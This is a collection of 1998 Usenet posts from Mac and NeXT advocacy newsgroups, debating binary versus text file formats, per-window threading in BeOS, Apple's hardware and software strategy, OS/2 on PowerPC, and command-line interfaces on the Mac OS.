References: <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B21882EA-3A2A@206.165.43.166> <Eyz29G.8L0@T-FCN.Net> <gregorylo-0809982056350001@cpu2522.adsl.bellglobal.com> <Ez0tuH.DuH@T-FCN.Net>
Date: Thu, 10 Sep 1998 03:13:49 GMT
NNTP-Posting-Date: Wed, 09 Sep 1998 23:13:49 EDT
Organization: Bell Solutions
In article <Ez0tuH.DuH@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In <gregorylo-0809982056350001@cpu2522.adsl.bellglobal.com> Gregory Lo wrote:
>> > Wrong, this is Unix remember? The fastest is a ZIPped text file, a
>format
>> >the OS will be wonderfully good at handling.
>>
>> A zipped text file is a binary file.
>
> Until you unzip it.
Sure thing. I'd forgotten what this subthread was about.
>> But, then to parse the zipped text file, one must decompress it; and then
>> you still have to parse the larger text file.
>
> The issue here is transmission time and storage space. ZIP solves both of
>these problems.
>
>> I think the original poster (for this sub-thread) asserts that a binary
>> file is more efficient. Less "stuff" byte-wise to read and parse before
>> you've extracted your content, which you probably store in a non-text form
>> in memory anyway. Less space taken up on disk. Less work for the
>> programmer to implement.
>
> WHOA! That last sentance is almost CERTAINLY wrong! Notably when it comes
>time to debug it!
I have to disagree with that. You define the format, you can also read
it. Apologies to those in the NeXT advocacy groups, but browsing around
through resources in binary form with a resource editor and the
appropriate template is fairly common thing for a mac programmer to do.
>> It's a tradeoff between what's easy for the "user" (it's easier for humans
>> to go in and modify/ a human-readable text file), and what's easier/more
>> efficent for the implementor.
>
> Indeed, and text files are almost always easier to implement.
Okay. I certainly wouldn't have any problem going either way with this.
But, my own preference (default approach might be a better word) would be
to define what structures I need in memory and then write the same memory
image to disk or read it directly from disk into memory. That's great for
simple structures. For more complicated structures, any variety of
methods will do - whatever you prefer.
By easier to implement, I mean that if one has a priori knowledge of the
data and how it is structured, then one can make optimizations. But, with
an appropriate level of abstraction, either approach is perfectly
acceptable to me. Two simple examples showing that while either way is
trivial to implement, the important difference is in how the work is split
between a human trying to parse the data and a computer.
For instance, say you had a file of data, marked up with tags. In a
binary format, you could determine that each tag is only two bytes wide
(reasonable enough - allowing for 32768 different tags) - reading those
two bytes from a file is the simplest thing. Doing the same thing with a
text-based format is also easy but it does take a few more steps: you have
to scan the text and tokenize it (even if you've written some ad hoc
lexer, that's what happens). Then you're still stuck with some [possibly
multi-byte] string comparisons (easy for humans, takes a little longer for
the computer than if it had to compare small integers).
Two things are obvious. First, neither approach ends up being more or
less work for a programmer, because you can wrap either method of
extracting a token, I mean tag, from your data into a black box-like
library function. Second, there is a difference in complexity between
order N for the text-based approach (where N is size), and order k for the
binary approach (where k is a constant).
Okay, two more examples: HTML documents, and binary graphics file
formats. It's incredibly easy for a human to write HTML documents or read
and parse arbitrary HTML documents. But, writing a good HTML editor (that
isn't merely a text editor) takes a bit of effort. And, it's possible to
represent a complex graphic image (say a digitized photograph of a complex
scene) with a very descriptive text-based format, but man, those things
are big! To edit those graphic images, one usually uses a specially
written editor that manipulates, blits, and performs arithmetic operations
on the binary images.
Well, I've been blabbing on and on, and I certainly don't think I'll be
changing anyone's mind about anything (expecially since I can think of
ways to counter or dismiss everything I've written). I do think, however,
that everyone needs to be reminded [of the cliches] that one must choose
the appropriate tool for the job, and not everything is a nail to be hit
with your favourite hammer.
GLo
From: no-spam@one.net (MojiDoji)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <no-spam-0909981926220001@10.0.1.99>
References: <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6srcdn$2dl$1@nnrp1.dejanews.com> <35f54abf.2225065@news.alt.net> <no-spam-0509981559360001@10.0.1.99> <35f2cad3.35018678@news.alt.net> <no-spam-0809981402590001@10.0.1.99> <35f981c1.4716408@news.alt.net>
Date: 9 Sep 1998 19:18:43 -0500
Organization: OneNet Communications News Hub
In article <35f981c1.4716408@news.alt.net>, antwun@yahoo.com (vapor) wrote:
> no-spam@one.net (MojiDoji) wrote:
>
> >In article <35f2cad3.35018678@news.alt.net>, antwun@yahoo.com (vapor) wrote:
> >
> >> no-spam@one.net (MojiDoji) wrote:
> >>
> >> >In article <35f54abf.2225065@news.alt.net>, antwun@yahoo.com (vapor)
wrote:
> >> >
> >> >> hughesojh@my-dejanews.com wrote:
> >> >>
> >> >> >Windoze user filth mentality:
> >> >> >
> >> >> >"If the computer does something dumb, why it must be MY fault".
> >> >>
> >> >> Yes, 9 times out of 10 that's the case.
> >> >>
> >> >> >
> >> >> >A decent OS should work how you want it to.
> >> >>
> >> >> What OS offers the user more customization options?
> >> >> Linux would have to be number one because the source code is
> >> >> distributed with the OS. Win9x/NT would be second. Both allow the user
> >> >> to freely configure almost every aspect of the OS. MacOS doesn't even
> >> >> make the list as far as I'm concerned. You either do it Apples way or
> >> >> you can FOAD.
> >> >>
> >> >> >If it doesn't, then you should be able to change it.
> >> >>
> >> >> Tell that to Apple.
> >> >>
> >> >
> >> >I agree, Win95/NT is far more configurable than MacOS. But I think OS/2
> >> >should be placed between Linux and Windows.
> >>
> >> Good point, I always forget about OS/2. Dam fine OS, too bad it never
> >> really caught on. It would be nice if Gates would climb down off his
> >> mountain of gold and provide a scripting language standard with NT. If
> >> your gonna bloat up a Op system you may as well toss in some useful
> >> things. I have a buddy of mine who swears by OS/2. His tricked out
> >> OS/2 box rivals my linux setup in functionality, but suffers in speed.
> >>
> >>
> >> --
> >> vapor
> >
> >Since IBM supposedly has a PPC OS/2 distribution, I would love to see it
> >come to market. I would probably become an OS/2 user.
>
> Interesting, I haven't heard about this. The problem is, Jobs would
> never let this system become available from Mac users. I wonder if IBM
> is considering marketing PPC based OS/2 boxes aimed at the home
> market?
>
> --
> vapor
Actually, IBM origionally intended to produce Warp as a PPC OS.
Unfortunately, they never sold it because of the obvious lack of hardware
(IBM could only sell it to people who actually had an IBM PPC system).
It's doubtfull that we will ever see OS/2 PPC, which is a shame. I would
just like to see someone take up where IBM left off and release OS/2 for
CHRP (or PREP). I think you are correct in your assertion that Apple
would not make OS/2 PPC available, but there are plenty of companies who
could. Maybe even a GNU OS/2.
--
To reply, replace "no-spam" with "mottbi"
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Wed, 09 Sep 1998 08:17:11 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6t5di5$ddi$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <6spibk$o2m$1@nnrp1.dejanews.com> <6t3s3c$3os$1@news.mxol.com> <6t4hjh$41c$1@nnrp1.dejanews.com> <Eyzrpq.rz@T-FCN.Net>
In article <Eyzrpq.rz@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> Depending on the implementation this could lead to serious problems anyway
> though. For instance every LWP under Solaris uses up about 8k - that doesn't
> sound like much until you consider that's 8k of KERNEL stack! For this
> reason Solaris also provides a user-threads package. I don't know what BeOS
> does for this.
AFAIK, the BeOS creates two threads for each window. One is for the Window
Server and one for the application. The problem is that the Window Server can
run out of logical memory space because it uses a 256K fixed sized stack for
each window. That, along with all the other memory that it needs, can lead to
problems if you open a few thousand windows. Can someone confirm this?
> Let's back up here, why exactly do we need a thread per window? I think
> the idea here is to provide interactivity to the forground window while
> processing events right? If so, wouldn't offloading the _responder chain_ to
> a thread do the trick just as well? If so, then you'd also have the side
> effect that you could have a single thread and simply swap the instance vars.
> Can someone point out a few cases where this wouldn't work?
Actually, the idea, in my mind, is to prevent a window that is busy
processing an event from preventing the user from using other application
windows that are logically separate from the busy one. I don't really have a
problem with a window queueing events for processing because some events
cannot easily be executed simultaneously. For example, can you edit a
document while it is being saved or printed? Don't the effects of one graphic
filter depend on the previous one? Are you proposing that a new thread is
created to handle an event when it occurs?
> All od WWDC, they talked about it endlessly. Good!
I must have missed something.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Wed, 09 Sep 1998 08:19:27 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6t5dmd$de0$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <6spibk$o2m$1@nnrp1.dejanews.com> <6t3s3c$3os$1@news.mxol.com> <6t4hob$44s$1@nnrp1.dejanews.com> <EyzrrH.uF@T-FCN.Net>
In article <EyzrrH.uF@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> Yes it does, and why is a big question. Ask as I might, including people
> who worked there, I never found out.
I'm not sure why it is a big question. What makes you think that having a
thread per window should be slow? I think that we should notice that it is
not slow and Apple should start thinking about taking advantage of that fact
in Mac OS X.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: gdwarnernyet@ricochet.net (Glen Warner)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 09 Sep 1998 02:03:43 -0700
Organization: GlenTech
Message-ID: <gdwarnernyet-0909980203440001@mg-20664220-2.ricochet.net>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <35F3FC14.57B2FD92@nstar.net> <gdwarnernyet-0709982345230001@mg-20664219-230.ricochet.net> <35F5510B.2AB63391@ericsson.com>
In article <35F5510B.2AB63391@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Glen Warner wrote:
>
> > That sounds like "Too Much Work". The MacOS is designed to avoid "Too Much
> > Work".
> >
> > Using ResEdit, you open a *copy* of the System file. To change the menus,
> > you open the appropriate resource, add your keyboard combination, change
> > the name, etc., save and close, and you're done.
>
> All true, happily. ResEdit is a very nice program. Regardless, you'll
> note that Joe Ragosta said:
>
> > You can change _ANYTHING_ about Mac OS. Get yourself ResEdit and there's
> > not a piece of the OS you can't change.
>
> </quote>
>
> > What do you have to do with your hex edit method?
>
> You edit the hex, just as you would if you were to change, for instance,
> the location of the MacOS menu bar. Can you tell me how to do that?
>
> MJP
Hmmm ... nope, can't say I could tell you how to hide the menu bar (or
move it). There was some talk of a new MDEF which would allow for tear-off
menus, but nothing concrete as yet. Perhaps some other ResEdit/Resorcerer
user could help out here .....
As for your description of hex editing, it leaves something to be desired
when it comes to descriptiveness.
--gdw
--
Remove the 'nyet' from the e-mail address, and you'll be all set.
(%*#$&! spammers ....)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 10 Sep 1998 04:37:49 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6t7l2t$11t@news1.panix.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com> <6sn26q$i33@news1.panix.com> <35F0113F.E73D5D21@ericsson.com> <6t150u$mfe@news1.panix.com> <35F50108.2663D036@nstar.net>
On Tue, 08 Sep 1998 05:03:52 -0500,
Michael J. Peck <mjpeck@nstar.net> wrote:
>Sal Denaro wrote:
>> Apple has to push an Apple solution. Period.
>I don't know what this means, or what it has to do with the
>conversation.
On second reading it did sound a bit like a zen koan.
>I thought we were talking about custom solutions as
>opposed to standardized configurations.
Why can't a custom solution be made of standardized parts packaged in a
unique way? (like the iMac)
> Presumably Apple would be
>selling Apple solutions, custom or no.
Apple has to differentiate its product. One way is by price (the cloner
method) Other ways would be by providing different feature sets or aesthetics
or marketing.
>> If you are not pushing a customized product, then you are just a cloner
>> and have to deal with the shrinking margins and little room to innovate.
>Apparently, to you, the only "standard" product is a Wintel product.
No, the market does. I have no control over the standardization process
for the market, other than as a consumer. :)
When someone says "computer" they mean an Intel based machine running
Windows.
>Incidentally, I take issue with the statement that a "cloner" has little
>room to innovate. After all, MacOS licensees were out-innovating Apple,
>who supposedly had all the room to innovate.
How? They built machines from Apple designs, or from CHRP boards provided
by Moto or IBM. IMHO, they built beige boxes with slim margins.
>Keep in mind that "custom" is not equivalent to "proprietary".
Fair enough.
>> Apple should not be in the business of building beige boxes with shrinking
>> margins.
>I never asked anyone to build beige boxes, and I never mandated any kind
>of shrinking margins. In fact, writing software effectively can yield
>any margins you like.
If it is unique enough to demand it. A GUI toolkit, even a good one, or
_THE_ best one, has a limit on what it can be sold for. Apple just dropped
the price of WO4 down to less than 1/3 what it sold for.
How much can Apple charge for its OS, when there is a flood of competing
OS products? If NT5 sells for $25, Apple couldn't charge $400 for MacOSX.
Let alone $400 for its UI on Linux.
> Hardware has a fixed cost per unit; in many ways,
>hardware margins are a solid, slowly-changing number. In recent days,
>that number has been shrinking and will almost certainly shrink further.
True. But why can't hardware add value to software and vice versa?
>By contrast, software can be written once and distributed at minimal
>cost to any number of customers, yielding high margins if the market is
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>large enough.
^^^^^^^^^^^^^
That's the problem with your argument. Apple has 4% of the market. Even
if it doubled to 8%, it wouldn't be large enough to sustain Apple as a
software only company.
> This is the ironic thing about your argument; you advocate
>a continuance of Apple manufacturing on the basis of margins when those
>margins cannot possibly hold up.
Apple's margins grew in the last three quarters.
>> No it is not. The last two quarters saw growth.
>Was this year-over-year growth? I.e., were they growth with respect to
>the same quarter last year?
I'll get all the URLs and post them latter.
>> Not true. Both profits and margins have been growing this year.
>What is the baseline? At any rate, Apple posted a profit during the
>Amelio era.
One quarter out of five?
> This was largely due to cutting costs, yet Amelio managed to
>engineer most of the G3 line before he left, the very line that is
>responsible for Apple's new growth.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
The g3 is a good line, a bit overpriced, but nowhere near Apples other
lines were.
IMHO, Amelio did little (if anything) to solve Apple's major problem,
too many products. The first thing Steve did was to kill off a bunch
of products and reassign those people to other projects (or dump the
loosers)
Amelio admits that he wasn't getting the job done at Apple. In his book
he talks about how his orders were taken as "suggestions". That is
hardly the mark of a CEO in control of his company.
And where was the advertising? The hot new products? The OS strategy?
The tools strategy?
>Why is that? NeXT turned to software to save the company from its dying
>hardware line. You seem to have missed the parallel.
Apple's hardware isn't dying. NeXT found themselves without a CPU.
>> Keep in mind what Steve Jobs said in Wired magazine. "Milk the Mac for
>> all it's worth, then move on to the next big thing"
>Some of us never forgot.
Then is there any reason why you think this isn't what he is doing? I
think it is pretty clear to me that this is exactly what is going on,
only that he isn't telling anyone what the "next big thing" is yet.
>> I don't follow your point here. How is Sun's hardware selling software?
>Sun's hardware sales are funding development of platform-agnostic
>software technologies.
QuickTime, YellowBox, WebObjects, PDF, BSD Unix, Mach, Java and Linux are
all being funded at Apple by Mac hardware sales.
>> Apple is using QT on Win (and YellowBox and WO and ColorSync) in the
>Everyone loves the QuickTime example, rightly so. It is the only thing
>Apple does sensibly.
Weren't you complaining about the $30 Pro version upgrade a few months ago?
(Or was that Steve Macghod?)
>> Apple is not a software company or a hardware company, they are a systems
>> company.
>Look around. The "systems" companies of the 80s are almost all gone, or
Last time I checked, Apple was still here.
>It is an expensive brand, one which most customers will not pay for, and
>which will eventually sink Apple.
More people are now willing to pay for it than before Jobs came aboard. The
size of the Mac market is growing. You said so yourself in this post.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 10 Sep 1998 04:47:09 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6t7lkd$19n@news1.panix.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com>
On 8 Sep 1998 20:51:10 GMT, John Jensen <jjens@primenet.com> wrote:
>I believe the opposition to the CLI in the Mac community has its roots in
>a form of political correctness, rather than any rational cost/benefit
>analysis.
After 10+ years of pigheaded Anti-CLI rhetoric, you can't expect Mac
zealots to do an aboutface overnight.
Some of them even deny that AppleScript and MPW are CLIs.
From: id_est@interport.net (tse_di)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Thu, 10 Sep 1998 00:57:16 -0400
Organization: none
Message-ID: <id_est-1009980057160001@192.168.1.3>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <6t46ui$t3v$1@fir.prod.itd.earthlink.net> <qXtJ1.3902$2s.3810070@newsfeed.slurp.net> <6t7l39$11t@news1.panix.com>
In article <6t7l39$11t@news1.panix.com>, sal@panix.com wrote:
> On Wed, 09 Sep 1998 11:49:42 GMT, Dan <dan@knowspaam.com> wrote:
> >With Win95, Win98, and/or NT, you can even disable the Explorer (which is
> >what gives you your desktop, taskbar, folder windows, etc.) and replace it
> >with a different Window Manager.
>
> This is true (I've done it. I even wrote a replacement for systray.exe)
> but there are MANY problems.
>
> 1) If you remove Explorer as the shell, you can only have one copy of
> Explorer.exe running.
>
> 2) File associations do not work as advertised without the default shell
>
> 3) Some apps fail to run. (Strangly IE sometimes works without Explorer)
>
> 4) Some config settings can only be done from My Computer or Network
> Neighborhood.
>
> others that I can't think of right now...
Just for information you can replace the finder and run another program in
its place as a shell I have tried (in the nature of experiment) running
Greg's Browser and NShell (a CLI for the MacOS) instead of the finder.
They work but it is a similar situation to removing Explorer as the shell
for Win95/NT. Some things just can't be done (Desk Accessories can't be
used for example, some control panels can't be opened)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ez0to2.Dp9@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: none
References: <Eyz26w.8Hp@T-FCN.Net> <B21B286F-12F60@206.165.43.24>
Mime-Version: 1.0
Date: Wed, 9 Sep 1998 14:31:13 GMT
In <B21B286F-12F60@206.165.43.24> "Lawson English" wrote:
> Being able to manipulate shapes as shapes, rather than as text-strings in a
> PS file is useful, no?
Maybe, if you can demonstrate that there's any difference. But as I have
noted on countless occasions I worked on a project that manipulated shapes in
PS files using HC in 1990. You again have no point.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ez0tpx.DrK@T-FCN.Net>
Sender: news@T-FCN.Net
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Cc: english@primenet.com
Organization: none
References: <Eyz2uE.8xG@T-FCN.Net> <B21B29E7-187CF@206.165.43.24>
Mime-Version: 1.0
Date: Wed, 9 Sep 1998 14:32:20 GMT
In <B21B29E7-187CF@206.165.43.24> "Lawson English" wrote:
> What if they add a NSNURBSPath?
It's a subclass.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ez0tuH.DuH@T-FCN.Net>
Sender: news@T-FCN.Net
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Cc: gregorylo@sympatico.ca
Organization: none
References: <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B21882EA-3A2A@206.165.43.166>
<Eyz29G.8L0@T-FCN.Net> <gregorylo-0809982056350001@cpu2522.adsl.bellglobal.com>
Mime-Version: 1.0
Date: Wed, 9 Sep 1998 14:35:05 GMT
In <gregorylo-0809982056350001@cpu2522.adsl.bellglobal.com> Gregory Lo wrote:
> > Wrong, this is Unix remember? The fastest is a ZIPped text file, a
format
> >the OS will be wonderfully good at handling.
>
> A zipped text file is a binary file.
Until you unzip it.
> But, then to parse the zipped text file, one must decompress it; and then
> you still have to parse the larger text file.
The issue here is transmission time and storage space. ZIP solves both of
these problems.
> I think the original poster (for this sub-thread) asserts that a binary
> file is more efficient. Less "stuff" byte-wise to read and parse before
> you've extracted your content, which you probably store in a non-text form
> in memory anyway. Less space taken up on disk. Less work for the
> programmer to implement.
WHOA! That last sentance is almost CERTAINLY wrong! Notably when it comes
time to debug it!
> It's a tradeoff between what's easy for the "user" (it's easier for humans
> to go in and modify/ a human-readable text file), and what's easier/more
> efficent for the implementor.
Indeed, and text files are almost always easier to implement.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ez0tyF.DxL@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: none
References: <gregorylo-0809982056350001@cpu2522.adsl.bellglobal.com> <B21B3430-3F27D@206.165.43.24>
Mime-Version: 1.0
Date: Wed, 9 Sep 1998 14:37:26 GMT
In <B21B3430-3F27D@206.165.43.24> "Lawson English" wrote:
> There's an efficiency advantage loading compressed files and decompressing
> as they load which probably favors using compressed files. However, I
> question the claim that a text file, compressed or otherwise, is more
> efficient to parse than a binary format.
And I'm sure you'll continue to question that - as I did - until you're
running a Unix OS. At that point you'll know it's the other way around.
Maury
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: Wed, 09 Sep 1998 20:23:06 -0600
Organization: Stone Entertainment
Message-ID: <stone-0909982023070001@rc-pm3-1-02.enetis.net>
References: <6t6ruf$co8@newsb.netnews.att.com>
In article <6t6ruf$co8@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Intel has lowered the core voltage of the mobile Pentium II
> at 300 MHz to 1.6 V, so that the maximum power at 300 MHz of the
> processor core & L2 cache is 11.6 W.
> (http://developer.intel.com/design/mobile/datashts/243669.htm)
>
> For comparison, IBM's 2.0 V core PPC 750 uses 4.7W max. at 333 MHz.
> (This is without L2.)
> -arun gupta
That's actualy old info. Motorola's new line of PowerPC 750s to be
featured later this month in Apple's revised line of PowerMacintosh G3
desktop and laptop computers feature a 1.9V core dissapating 5.0W
typical/6.5W max. at 366MHz. And yes that does feature the normal 64k of
L1 and up to 1MB of L2 cache running at full speed (assumingly).
(source = http://mot-sps.com/sps/General/chips-nav.html)
--
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: Peter <peterp@netteens.com>
Newsgroups: comp.sys.sinclair,comp.sys.palmtops.pilot,comp.sys.next.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.misc,comp.sys.mac.advocacy,comp.sys.laptops,comp.sys.ibm.pc.soundcard.tech,comp.sys.ibm.pc.hardware.chips,comp.sys.ibm.pc.hardware.video,comp.sys.ibm.pc.hardware.storage,comp.sys.ibm.pc.games.action,comp.sys.ibm.pc.games.flight-sim,comp.sys.ibm.pc.games.rpg,comp.sys.ibm.pc.games.strategic,comp.sys.amiga.misc,comp.periphs.scsi,comp.os.linux.advocacy,comp.os.linux.misc,comp.os.linux.setup,comp.lang.perl.misc,comp.lang.java.programmer,comp.lang.javascript,comp.lang.basic.visual.misc,comp.lang.c++,vmsnet.sources.games
Subject: Homepage
Date: Thu, 10 Sep 1998 10:22:16 +0800
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From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 10 Sep 1998 01:35:41 -0400
Organization: none
Message-ID: <id_est-1009980135420001@192.168.1.3>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com>
In article <6t7lkd$19n@news1.panix.com>, sal@panix.com wrote:
> On 8 Sep 1998 20:51:10 GMT, John Jensen <jjens@primenet.com> wrote:
> >I believe the opposition to the CLI in the Mac community has its roots in
> >a form of political correctness, rather than any rational cost/benefit
> >analysis.
>
> After 10+ years of pigheaded Anti-CLI rhetoric, you can't expect Mac
> zealots to do an aboutface overnight.
>
> Some of them even deny that AppleScript and MPW are CLIs.
I think the thing that makes some people (like myself) suspicious of CLI's
isn't how they work, (I do prefer them for some tasks) but rather the fear
that if it is in there it will somehow become necessary to use it for some
functions. There are things in 8.5 that can only be activated by
Applescript (configuring the Application switcher for example, there may
be others). The scripts that control this stuff can be activated through
the help system but if the help system left out these things then the only
way to configure the application switcher is through Applescripts (aka a
CLI). I don't think this is a terrible thing and I am not really upset
about it but I don't want to see a command line become necessary for those
who don't want to use it.
From: nhughes@sunflower.com (nate)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Thu, 10 Sep 1998 05:54:57 GMT
Organization: KU
Message-ID: <35BA6D568ED44110.036CA6C9403483CD.A5733980BA607212@library-proxy.airnews.net>
References: <35F3FB6E.DBD5A2FE@nstar.net> <not-ya02408000R0709980301440001@news.colorado.edu> <6t0qnh$q0s$1@news4.wt.net> <not-ya02408000R0709981419430001@news.colorado.edu> <367454593A96A769.ED55763BD8C6F092.8B14831A23EF5E19@library-proxy.airnews.net> <not-ya02408000R0809982207430001@news.colorado.edu> <not-ya02408000R0809982240420001@news.colorado.edu> <994169DB0BEFDC2B.2FDF2A32C8D757DE.E5D07D7E652D2EF4@library-proxy.airnews.net> <goofin-0909981657490001@norln310mac15.colorado.edu>
Abuse-Reports-To: abuse at airmail.net to report improper postings
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On Wed, 09 Sep 1998 16:57:49 -0600, goofin@work.com (BrTe) wrote:
>In article
><994169DB0BEFDC2B.2FDF2A32C8D757DE.E5D07D7E652D2EF4@library-proxy.airnews.net>,
>nhughes@sunflower.com (nate) wrote:
>
>
>> I thought you said early 80's.
>
>Because you are an idiot who knows nothing about cars?
No, you said early 80's, then had to find some way of covering you
